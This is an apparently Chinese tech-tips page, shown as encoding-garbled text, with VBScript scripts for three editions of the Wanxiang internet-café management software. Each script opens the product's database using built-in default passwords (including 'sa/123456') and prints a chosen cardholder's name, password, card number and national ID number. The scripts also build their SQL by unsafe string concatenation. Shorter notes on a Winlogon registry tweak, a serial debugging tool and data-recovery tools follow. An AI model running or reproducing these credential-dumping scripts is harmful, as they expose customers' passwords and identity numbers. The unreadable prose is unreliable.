¸÷°æ±¾ÍòÏóÃÜÂëµÄ²éѯ½Å±¾:

1.²éѯÍòÏó2003½Å±¾ÄÚÈÝ:

do
sid=inputbox("ÇëÊäÈ뿨ºÅ:","²éѯÍòÏóÃÜÂë")
if sid="" then
wscript.quit
elseif IsNumeric(sid)<>0 then
exit do
else
wscript.echo "ÄúÊäÈëµÄ¿¨ºÅ¸ñʽ²»ÕýÈ·"
end if
loop until(1<>1)
Set conn = wscript.CreateObject("ADODB.Connection")
abc=" DBQ="+"Oct2003.mdb"+"; pwd=" +"chrdwhdhxt"+"; DRIVER={Microsoft Access Driver (*.mdb)};"
conn.open abc
Set RS = Conn.Execute( "SELECT sname,spassword,scardid,sidcard from tusers where scardid='"&sid&"'")
while not RS.EOF
ssname= RS( 0 ).value
sspassword= RS( 1 ).value
sscardid=RS( 2 ).value
ssidcard=RS( 3).value
rs.movenext
wend
if ssname="" then
wscript.echo "ûÓд˿¨ºÅ"
else
wscript.echo "ÐÕÃû:" & ssname & ",ÃÜÂë:"& sspassword & ",¿¨ºÅ:" &sscardid & ",Éí·ÝÖ¤:" & ssidcard
end if
wscript.quit

2.²éѯÍòÏó2004 ACCESS°æ±¾µÄÃÜÂë½Å±¾ÄÚÈÝ:

do
sid=inputbox("ÇëÊäÈ뿨ºÅ:","²éѯÍòÏóÃÜÂë")
if sid="" then
wscript.quit
elseif IsNumeric(sid)<>0 then
exit do
else
wscript.echo "ÄúÊäÈëµÄ¿¨ºÅ¸ñʽ²»ÕýÈ·"
end if
loop until(1<>1)
Set conn = wscript.CreateObject("ADODB.Connection")
abc="Provider=Microsoft.Jet.OLEDB.4.0;Password=ÍòÏóÍø¹ÜÊÇÒ»¸ö·¢Õ¹ÁË5ÄêµÄ³ÉÊìµÄ²úÆ·;User ID=datamaintain;Data Source=2004mem.mdb;Persist Security Info=True;Jet OLEDB:System database=SICENT.MDW;Jet OLEDB:Database Password=zhrmghg1949jgqz"
conn.open abc
Set RS = Conn.Execute( "SELECT sname,spassword,scardid,sidcard from tusers where scardid='"&sid&"'")
while not RS.EOF
ssname= RS( 0 ).value
sspassword= RS( 1 ).value
sscardid=RS( 2 ).value
ssidcard=RS( 3).value
rs.movenext
wend
if ssname="" then
wscript.echo "ûÓд˿¨ºÅ"
else
wscript.echo "ÐÕÃû:" & ssname & ",ÃÜÂë:"& sspassword & ",¿¨ºÅ:" &sscardid & ",Éí·ÝÖ¤:" & ssidcard
end if
wscript.quit

3.²éѯÍòÏó2004 SQL°æ±¾µÄÃÜÂë½Å±¾ÄÚÈÝ:

do
sid=inputbox("ÇëÊäÈ뿨ºÅ:","²éѯÍòÏóÃÜÂë")
if sid="" then
wscript.quit
elseif IsNumeric(sid)<>0 then
exit do
else
wscript.echo "ÄúÊäÈëµÄ¿¨ºÅ¸ñʽ²»ÕýÈ·"
end if
loop until(1<>1)
Set conn = wscript.CreateObject("ADODB.Connection")
abc="driver={sql server};server=192.168.0.233;uid=sa;pwd=123456;"&"database=wx2004;"
conn.open abc
Set RS = Conn.Execute( "SELECT sname,spassword,scardid,sidcard from tusers where scardid="&sid)
while not RS.EOF
ssname= RS( 0 ).value
sspassword= RS( 1 ).value
sscardid=RS( 2 ).value
ssidcard=RS( 3).value
rs.movenext
wend
if ssname="" then
wscript.echo "ûÓд˿¨ºÅ"
else
wscript.echo "ÐÕÃû:" & ssname & ",ÃÜÂë:"& sspassword & ",¿¨ºÅ:" &sscardid & ",Éí·ÝÖ¤:" & ssidcard
end if
wscript.quit

Æäʵ¸÷°æ±¾Ö»ÊÇÁ¬½ÓÊý¾Ý¿âµÄ·½Ê½²»Í¬£¬»¹ÊÇÊý¾Ý¿âµÄ·¾¶»òIP£¬¼°sicent.mdw·¾¶×ÔÐиü¸Ä.

¸Äwinlogonͬ²½´¦ÀíÈñÆð³öÅÌÇëÇóΪÒì²½,winlogon²»µÈ´ýÈñÆð³öÅÌÍê±Ï¾Í½øÈë×ÀÃæ,»Ö¸´Í£ÁôÔÚ¡°¼ÆËã»úÕýÔÚ¼ÓÔظöÈËÉèÖá±µÄʱ¼äΪÕý³£Ê±¼ä

×¢²á±íÎļþ

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\RTGSGENG]
;±íÃ÷ÊÇ·ñÒì²½´¦Àíwinlogonʼþ£¬Ä¬ÈÏΪ0,ͬ²½´¦Àí,ÈçÉèΪ1,ÔòΪÒì²½,winlogon½«Æô¶¯Ò»¸öÐÂÏß³ÌÀ´´¦ÀíCGO³öÅÌÇëÇó
"Asynchronous"=dword:00000001
;±íÃ÷ÊÇ·ñÒԵǽÓû§µÄȨÏÞÀ´´¦Àíʼþ,ĬÈÏΪ0,²»ÐÞ¸Ä
"Impersonate"=dword:00000000

ÒÔÉϸ´ÖÆ´æ³Éºó׺.regµÄÎı¾Îļþ

¹ØÓÚΪʲôÈñÆðÂÌÉ«¿Í»§¶ËÔÚÊÖ¶¯³öÅ̺ó»áÏÔʾÒѶϿªµ«ÊÇ¿ÉÒÔÕý³£Ê¹ÓõÄÎÊÌ⣬ÊÇÒòΪÓÃrundll¼ÓÔØÁËRTGSGENG.dllºó£¬³É¹¦Á¬½ÓÉÏÁËÐéÄâÅ̺ó£¬RTGSGENG.dll¾ÍÍ˳öÄÚ´æÁË£¬ËùÒÔ½â¾ö·½·¨Ó¦¸ÃÊÇÓñà³ÌÊÖ¶ÎÀ´¹¹³ÉÑ­»·Ê¹ÆäÓÀ¾ÃפÁôÄÚ´æÖУ¬ÒòΪԭʼ¿Í»§¶ËµÄDLLÊÇͨ¹ýwinlogonפÁôÄÚ´æµÄ

Linux/UnixÏ´®ÐÐͨÐŵ÷ÊÔ¹¤¾ßsct

sct(Serial Communication TracerµÄËõд)ÊÇÒ»¸öºÜÓÐÓõÄLinux/Unix´®ÐÐͨÐŵ÷ÊÔ¹¤¾ß£¬Èí¼þÄÚÖÃÁËShellÃüÁî½âÊÍÆ÷£¬Äã¿ÉÒÔͨ¹ýÖ±½ÓÊäÈë¼ò¶ÌµÄÃüÁîºÍ²ÎÊýÀ´¿ØÖÆ´®¿ÚµÄ´ò¿ª/¹Ø±ÕºÍ½øÐи÷ÖÖ·¢ËÍ/½ÓÊջ

ÊÕ¼¯µÄ²¿·ÖÊý¾Ý»Ö¸´¹¤¾ß

1¡¢FileRescue Pro